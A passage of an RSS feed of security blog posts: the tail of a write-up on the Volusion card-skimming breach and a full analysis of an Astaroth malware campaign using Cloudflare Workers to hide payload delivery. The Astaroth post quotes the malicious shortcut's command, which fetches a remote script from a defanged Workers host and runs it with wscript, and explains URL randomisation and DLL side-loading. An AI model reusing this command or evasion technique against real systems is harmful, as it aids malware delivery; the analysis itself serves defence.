15:18:59 GMT”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aZI5NBGG1UtHp6rhHTwghQ.png" /></figure><p>We will have to wait for confirmation from Volusion or Google Cloud but it is possible the car skimming attack started even earlier since this is modification time stamp and not creation.</p><p>The most famous credit card skimming attack responsible for compromising over 2 M e-commerce websites is Magecart which has the history of using Vultr Holdings data centers ( just live Volusion-Cdn[.]com) and using public cloud storage to host their malicious scripts. It was just two days ago the RiskIQ published a new report about its operations.</p><ul><li><a href="https://www.riskiq.com/research/magecart-growing-threat/">Magecart: The State of a Growing Threat - RiskIQ</a></li><li><a href="https://www.riskiq.com/blog/labs/magecart-keylogger-injection/">Compromised E-commerce Sites Lead to &quot;Magecart&quot;</a></li></ul><p>While the investigation is still ongoing, the Google Cloud Abuse team and Volusion have not been responsive to take down the malicious code. I will update as I hear back and find more info.</p><h3>IOCs and Samples:</h3><p>hxxps://storage.googleapis.com/volusionapi/resources.js</p><p>hxxps://volusion-cdn.com/analytics/beacon</p><ul><li><a href="https://urlscan.io/result/6fab076e-3cc8-4a1b-ae64-83c5719e30ed">www.sesamestreetlivestore.com - urlscan.io</a></li><li><a href="https://urlscan.io/result/2da6d689-9b80-45ca-8668-2207ba7d455a">storage.googleapis.com - urlscan.io</a></li><li><a href="https://urlscan.io/result/d39e9a9d-5648-41d1-ab43-17a140bf808b">volusion-cdn.com - urlscan.io</a></li></ul><h3><strong><em>Updates:</em></strong></h3><p>According to zdnet, the number of compromised sites could be as high as 20,000.</p><p><a href="https://www.zdnet.com/article/hackers-breach-volusion-and-start-collecting-card-details-from-thousands-of-sites/">Hackers breach Volusion and start collecting card details from thousands of sites | ZDNet</a></p><p>A Volusion spokesperson confirmed to CyberScoop after this article’s publication that customer credit card information was included in this incident.</p><p><a href="https://www.cyberscoop.com/sesame-street-website-hacked-magecart/">Breach at e-commerce provider gave hackers an entry to Sesame Street - CyberScoop</a></p><p>Volusion confirmed a fix has been issued, but it did not release any statement on number of customers affected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*y00TyNg5RUeQjmazf6p3Jg.png" /><figcaption><a href="https://twitter.com/Volusion/status/1181661671674335232?ref_src=twsrc%5Etfw">https://twitter.com/Volusion/status/1181661671674335232</a></figcaption></figure><p><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/"><strong>Trendmicro</strong> </a>has confirmed this card skimming attack is associated with FIN6 Cyber crime group and has published a detailed analysis report on the attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u0MsWth30v1OqrLXIeZvyg.png" /><figcaption><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/">https://blog.trendmicro.com/trendlabs-security-intelligence/fin6-compromised-e-commerce-platform-via-magecart-to-inject-credit-card-skimmers-into-thousands-of-online-shops/</a></figcaption></figure><blockquote>“Group 6 is known to only target top-tier victims, investing in scams where they can receive a big payoff from one attack. This single hack of Volusion allows them to receive credit card data from 3,126 online shops.”</blockquote><p>The analysis goes through the entire code injection and code analysis and the evidence of FIN6 being behind the attack. They also have a very good tip:</p><blockquote>To defend against this type of threat, website owners should regularly check and <a href="https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/patching-problems-and-how-to-solve-them">strengthen their security</a> with patches and server segregation. Site owners should also employ robust authentication mechanisms, especially for those that store and <a href="https://www.trendmicro.com/vinfo/us/security/news/online-privacy/on-the-safe-side-building-better-data-protection-and-steering-clear-of-gdpr-violations">manage sensitive data</a>. IT and security teams should restrict or disable outdated components and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.</blockquote><h3>Other Comments:</h3><p>I’m still investigating why Chrome’s XSS Protection is not preventing the POST here. If you try to make a manual request from Chrome’s console, CORS policy does prevent the post. Could it be that the sessionStorage is treated differently?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VejuqZdgRkYamps8hO3c6w.png" /></figure><figure><a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_image"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PYxBP_WV7LI6zc-zdUkNqQ.png" /></a></figure><p>📝 Read this story later in <a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_read_later_text">Journal</a>.</p><p>👩‍💻 Wake up every Sunday morning to the week’s most noteworthy stories in Tech waiting in your inbox. <a href="https://usejournal.com/newsletter/noteworthy-in-tech/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_text">Read the Noteworthy in Tech newsletter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21eb51ec613b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Threat Actor behind Astaroth is now using Cloudflare Workers to bypass your Security Solutions.]]></title>
            <link>https://medium.com/@marcelx/threat-actor-behind-astaroth-is-now-using-cloudflare-workers-to-bypass-your-security-solutions-2c658d08f4c?source=rss-a10ac75b8c76------2</link>
            <guid isPermaLink="false">https://medium.com/p/2c658d08f4c</guid>
            <category><![CDATA[cloudflare]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Marcel Afrahim]]></dc:creator>
            <pubDate>Sun, 01 Sep 2019 05:50:33 GMT</pubDate>
            <atom:updated>2019-09-06T20:47:15.548Z</atom:updated>
            <content:encoded><![CDATA[<h3>Threat Actor behind Astaroth is using Cloudflare Workers to bypass your Security Solutions.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*6ZsssOcgRBxtiluk15jd_A.jpeg" /></figure><p><em>TL;DR? Skip to the Final Comments.<br>Update: Cloudflare fixed the misuse.</em></p><p>You might have seen the recently published report about a widespread fileless campaign called Astaroth by <a href="https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/">Microsoft Research Team</a> that completely “lived off the land”: it only ran system tools throughout a complex attack chain. If you haven’t, you SHOULD definitely read the details of the research article done by the Microsoft team <a href="https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/">here</a>.</p><p><a href="https://www.microsoft.com/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/">Dismantling a fileless campaign: Microsoft Defender ATP&#39;s Antivirus exposes Astaroth attack - Microsoft Security</a></p><p>Following the report, the group behind the Astaroth attack campaign changed tactics and they ran a similar campaign again earlier in august with few changes, notably use of <strong>Cloudflare Workers</strong>. In this article I will try to show highlight the changes and show a clear chain of attack from the delivery till infection, something Microsoft research article failed to do.</p><p><em>Let’s go.</em></p><h3>First Stage:</h3><p>The actors behind the campaign used classic social engineering in this step. They sent a typical message that looks like any of automated emails organizations get about Audit or Billing requests. There is an HTML attachment which is not trying to hide in any sort of way that it’s an HTML file. But this is not a simple HTML file with external links to malware. It’s a carefully crafted and contains obfuscated Javascript code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nwxJmqw_mq3FfaZkt60Auw.png" /><figcaption>Source code of the HTML page</figcaption></figure><p>I will not bore you with the de-obfuscation steps but here is the end result and what rendered by browsers, isn’t it beautiful.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gknblmNyaANQiY10XHr9bw.png" /><figcaption>So simple</figcaption></figure><p><em>Let’s inspect:</em></p><p>First off, it’s simple base64 string to <a href="https://stackoverflow.com/questions/21797299/convert-base64-string-to-arraybuffer/21797381">ArrayBuffer</a> function. Next is the base64 encoded URL which is used to retrieve the next step of the attack. The third section is responsible for generating a <a href="http://qnimate.com/an-introduction-to-javascript-blobs-and-file-interface/">blob object</a> in the browser’s memory based off of the URL before and auto-downloading it in user’s browsing session. The other sections in the file are just fillers and do not contribute to anything in the process.</p><blockquote>hxxp://eaep3xmsaaen[.]promotoradenegocios.com[.]de/5M0BFVGS02W/34284/Duplicata_LeaoBravo_04132583.htm</blockquote><p>Let’s look at the URL above more closely, while it might look like another HTML page, it is a domain name sitting behind Cloudflare’s vast web infrastructure. There are two mains reasons behind that.</p><p>1. Using Cloudflare, threat actors have added a layer of security where Sandboxes or automated analysis tools would receive the <a href="https://support.cloudflare.com/hc/en-us/articles/203366080-Why-do-I-see-a-captcha-or-challenge-page-Attention-Required-trying-to-visit-a-site-protected-by-Cloudflare-as-a-site-visitor-">Cloudflare challenge page</a> rather than the actual payload.</p><p>2. While it might look like a static page, it is a PHP generated the page and returning different content based on the IP address of the visitors. <a href="https://support.cloudflare.com/hc/en-us/articles/200168236-What-does-Cloudflare-IP-Geolocation-do-">Cloudflare IP Geolocation</a> adds a header called “CF-IPCountry” to all requests going to the host server. Only to the visitors from Brazilian IP address range would the page show the actual second step payload.</p><p>This is JSON payload returned from the URL which we will dig into later.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p8wB6AZmn2yMCBx4Lp452A.png" /><figcaption>JSON returned to Brazilian IP address.</figcaption></figure><p>To generate the second stage of the attack, the JSON from the URL is parsed, converted from <a href="https://stackoverflow.com/questions/21797299/convert-base64-string-to-arraybuffer/21797381">Base64 to Array buffer</a>, written to <a href="http://qnimate.com/an-introduction-to-javascript-blobs-and-file-interface/">browser’s blob storage</a>, renamed to match to the name of the HTML file, <a href="https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL">a link is created</a> and auto clicked to download it to user’s browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*Csbjfz_KlGF-2qe3EhHD4Q.png" /><figcaption>What the download looks like in Chrome.</figcaption></figure><h3>Second stage:</h3><p>The second stage starts with a zip file which was just created based on the data from the URL. This method of file creation has few advantages versus just statically downloading a zip file.</p><p>1. Threat actor can create different files for different target and serving it via one endpoint.</p><p>2. The network traffic might block downloading file objects, but JSON is a natural part of the web and would never be blocked.</p><p>3. Some security solution vendors can identify file object on traffic of the network and send that for analysis. This would jeopardize the operation fairly fast and IOCs can be distributed across the world in no time.</p><p>The zipped file contains a shortcut with a modified target and Icon.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/185/1*G7BdfLTu7ohXTe2zFn-12A.png" /><figcaption>Totally legitimate-looking shortcut!</figcaption></figure><blockquote>%ComSpec% /c “echo GetObject(“script:hxxps://xsw%RANDOM%nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cf0371proud-glade-92ec.ativadormasterplus.workers.dev/?09/&quot;)&quot; &gt; %temp%\Lqncxmm:vbvvjjh.js &amp;&amp; start wscript.exe %temp%\Lqncxmm:vbvvjjh.js”</blockquote><p><em>Let’s dissect.</em></p><p>While it’s less commonly known or used but “%ComSpec%” is a pre-assigned environment variable that, by default, stores the “cmd.exe” absolute path and <a href="https://en.wikipedia.org/wiki/COMSPEC">dates back</a> to the stone ages. <br>Next, we have the <a href="https://docs.microsoft.com/en-us/office/vba/language/reference/user-interface-help/getobject-function">GetObject VBA function</a> with a link to WScript file to download and run from the temp folder. But pay attention to the URL again, there is %RANDOM% command in the URL. %RANDOM% is a built-in variable in Windows CMD shell that generates a random integer from 0 to 32,767. Since the URL has echo wrapped around it, the random variable is successfully replaced with valid numbers and passed to CMD to execute the GetObject command. This leads to generating an almost unlimited number of URLs based on that random variable returns. To understand how this is working, we need to understand how Cloudflare Workers <em>work</em>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iAZKWLpF0RU-BH2F.png" /><figcaption>By everyone, they mean threat actors as well.</figcaption></figure><p><a href="https://blog.cloudflare.com/cloudflare-workers-unleashed/">Cloudflare Workers</a> derive their name from Web Workers, and more specifically Service Workers, the W3C standard API for scripts that run in the background in a web browser and intercept HTTP requests. Cloudflare Workers are written against the same standard API but run on Cloudflare’s servers, not in a browser. Cloudflare Workers lets you run JavaScript in Cloudflare’s hundreds of data centers around the world. Using a Worker, one can do a number of things, including:</p><ul><li>Load balance between multiple origins to improve speed or reliability.</li><li>Render HTML templates while fetching dynamic content from your origin.</li><li>Dynamically respond to requests without needing to connect to an origin server at all.</li><li>Generate parallel requests to different services and combine the responses.</li><li>Create custom security rules and filters to block unwanted visitors and bots.</li><li>Perform data sanitation and validation before sending a request to origin.</li><li>Actions happen inside Cloudflare’s lightning-fast edge network.</li></ul><p>All and all, Cloudflare Workers’ introduces a great <strong>resilient </strong>platform to the threat actors without the need for them to maintain infrastructure. Cloudflare.</p><blockquote>Workers has a free plan which anyone or anything can sign up and get 100,000 total requests per day. You can create unlimited number of workers per account.</blockquote><p>But you might still be asking how did that the URL with a random number as subdomain was created?</p><p>Cloudflare Workers dashboard has script editor feature which gives the developers option to write and preview script before deploying to their network. It’s something of a <a href="https://jsfiddle.net/">jsfiddle.net</a> if you wish. The preview fiddle renders the script on a different hostname every time the script is run, except it’s not one. It’s a virtual one created based on the incoming request and the Workers name given to it.</p><p>Let me show you an example:</p><p>Here I have a free worker which is running a simple script to just return “Hello World” as the page content. There is a preview panel on the side that display the changes I make when I press run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-IsURcEcpx9RUtCdf9TiXQ.png" /><figcaption>Workers Script Editor</figcaption></figure><p>This is the general flow that Cloudflare Script editor uses to preview the changes:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/1*e6yXp362wTof86dBGE4pYA.png" /></figure><p>The preview panel is not run from the Workers ID address. if you open up Chrome’s network panel, you would see the response is coming from a different hostname every time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a35SWKoizzuFyudLgqWPOA.png" /><figcaption>First run.</figcaption></figure><p>The first run involves making a GET request to</p><blockquote>https://84efc29573641d2f04337907900ab249.cloudflareworkers.com/.edgeworker-fiddle-init-preview/ae634c73683563b82196ddb468eede951636ba7051b2f5171ba2ae69ae94b17b1muddy-surf-5e18.marcel.workers.dev/</blockquote><p>which after settings a cookie, redirects to</p><blockquote>https://84efc29573641d2f04337907900ab249.cloudflareworkers.com</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-rMtRrL3FVzL-0q4bLr9fw.png" /><figcaption>Second run.</figcaption></figure><p>Like the first run, the second run is making a GET request to</p><blockquote>https://327559932d6dbe26a9d576034fd615d2.cloudflareworkers.com/.edgeworker-fiddle-init-preview/ae634c73683563b82196ddb468eede951636ba7051b2f5171ba2ae69ae94b17b1muddy-surf-5e18.marcel.workers.dev/</blockquote><p>with redirects to</p><blockquote>https://327559932d6dbe26a9d576034fd615d2.cloudflareworkers.com</blockquote><p>Now if I make an arbitrary change in the Workers name in the first GET request URL, the response would still be the same. Here I replaced the first 5 digits with 12345 and the redirected shows the same content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/588/1*bcaNOoKm3y3sSlKqa7kzLA.png" /><figcaption>voila!</figcaption></figure><p>Potentially this can produce a large or unlimited number of the hostname that can execute particular code which traditional Anti-bot or blocking tools will fail to catch. Cloudflare Workers do not have the capability to host file but it can redirect traffic from its Workers to a static file hosting server without revealing its identity. Cloudflare documentations even provide an example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/716/1*5JgkJulUVAuaYsFdg2yoJQ.png" /><figcaption><a href="https://developers.cloudflare.com/workers/recipes/static-site/">https://developers.cloudflare.com/workers/recipes/static-site/</a></figcaption></figure><p>Remember the shortcut? you can replace the RANDOM with any digits or letters you end up with a preview URL which drops script file.</p><blockquote>hxxps://xsw12345nnccccmd95c22[.]cloudflareworkers[.]com/.edgeworker-fiddle-init-preview/6a8db783ccc67c314de2767f33605caec2262527cbed408b4315c2e2d54cf0371proud-glade-92ec.ativadormasterplus.workers.dev</blockquote><h3>Third Stage:</h3><p>The script file is saved into <strong>temp\ Lqncxmm:vbvvjjh.js</strong> and executed with Windows Script Host (Wscript) process. You can see how the threat actor uses the feature of Cloudflare to their advantage. The authors have added a simple random number generator and essentially randomize the URL that will download third stage payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*AJ_IgeB130eW0D6Pm6vWEg.png" /><figcaption>such a simple function</figcaption></figure><p>The simple function above will generate a random number based on the parameter given to it. For the third stage, there are ten randomized and unique Cloudflare Worker node links they use a random number between 20000 to 50000, twice for each link. So just one link would have 900 million variations. I’ll let you do the calculation on how many traditional IOCs you would obtain from just a simple script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2O_hsjRM1hkxhERSjjZsQ.png" /><figcaption>Randomization of download links</figcaption></figure><p>Searching for Astaroth samples on URLhaus shows at least one analyst managed to grab the links and submit them to the site. But of course, each time the script is run, the URLs would be different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*axW2h5N8L9y6N2tUGZzV6g.png" /><figcaption><a href="https://urlhaus.abuse.ch/browse/tag/Astaroth/">https://urlhaus.abuse.ch/browse/tag/Astaroth/</a></figcaption></figure><p>On Systems running a 32-bit version of windows, the Cloudflare links are not used, instead, a private Google Storage repository with a static link is used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/590/1*QBIhbtn4rGH0fnahkCQZhQ.png" /><figcaption>but why?</figcaption></figure><p>The most likely explanation for this is that they wanted to fool the Sandboxes and automated analysis tools. Most of the automated sandboxes still rely on 32-bit system mainly because it has better anti-sandbox detection techniques. Using this method, the threat actors give away a static IOC to the analyst to keep operation intact in real-world and the users that are being infected.</p><p>Here is a sample run from popular Malware analysis platform, Any.run. Just running the script and relying on the IOCs generated by it will hide the fact that Cloudflare is involved in this campaign.</p><p><a href="https://app.any.run/tasks/b1ceb3fa-4cb9-44d2-8289-4fe8423f445a/">mal.js (MD5: A9A285D4E129FA54F730F6B66F3AD3A7) - Interactive analysis - ANY.RUN</a></p><p>The third stage involves a DLL which has been downloaded from one the links mentioned above and involves a technique called DLL side-loading in which a legit program, intended to load its legit DLLs end uploading a malicious DLL with the same name from the current or a specified path</p><p>In this case, the program at “<strong>C:\Program Files (x86)\Internet Explorer\ExtExport.exe</strong>” is used. ExtExport is a legit binary part of Internet Explorer installation which loads certain DLLs from the specified path given as an argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKlTyj5XryIqvXZg14kw0g.png" /></figure><p>The ExtExport is loaded with the argument “C:\Users\Public\Libraries\win32” which contains the dropped files and the concatenation of one of the DLLs downloaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xDmTcgicL_HLlhpMEVadJg.png" /></figure><p>Renato Marinho of Morphus Labs has just done a great job of analyzing the DLLs of another variant of the Astaroth malware which is almost the same as the one seen earlier in August. According to his analysis of the samples involved, after the DLL side loading, one of the Diebold Warsaw installation binaries, which is a security suite used on systems accessing online banking in Brazil, is <a href="https://attack.mitre.org/techniques/T1093/">hollowed</a> and used to communicate to <strong>Facebook</strong> and <strong>Youtube </strong>profiles in order to obtain the Final C2 addresses. Its really cool, You should read it.</p><p><a href="https://morphuslabs.com/guildma-malware-is-now-accessing-facebook-and-youtube-to-keep-up-to-date-998159e8a8a9">Guildma malware is now accessing Facebook and YouTube to keep up-to-date</a></p><h3>Final Comments:</h3><p>The threat actors currently behind the Astaroth campaign are going through a great length in order to escape detection and fool the conventional Security Solutions. They use Cloudflare Worker and network to:</p><ol><li>Have a resilient, efficient and secure network to spread payloads.</li><li>Rely on trusted domain names and services to expand coverage.</li><li>Hide from sandboxes and interrupt automated analysis tools.</li><li>An innovative way to generate random payload URLs for each run.</li><li>Rebuild the operation with ease in case of compromise.</li></ol><p>This specific Threat Actor has been known to be using public cloud and storage services to deliver Astaroth payloads, but the latest usage of Cloudflare Workers shows that the team is actively researching new techniques to appear as legitimate traffic and hide their network trace in the infected organizations.</p><h3><em>Update:</em></h3><p><em>I have been informed that Cloudflare has implemented a fix for this abuse / misuse of Cloudflare Workers and the methods described in this article no longer work.</em></p><figure><a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_image"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PYxBP_WV7LI6zc-zdUkNqQ.png" /></a></figure><p>📝 Read this story later in <a href="https://usejournal.com/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_read_later_text">Journal</a>.</p><p>👩‍💻 Wake up every Sunday morning to the week’s most noteworthy stories in Tech waiting in your inbox. <a href="https://usejournal.com/newsletter/noteworthy-in-tech/?utm_source=medium.com&amp;utm_medium=noteworthy_blog&amp;utm_campaign=tech&amp;utm_content=guest_post_text">Read the Noteworthy in Tech newsletter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2c658d08f4c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>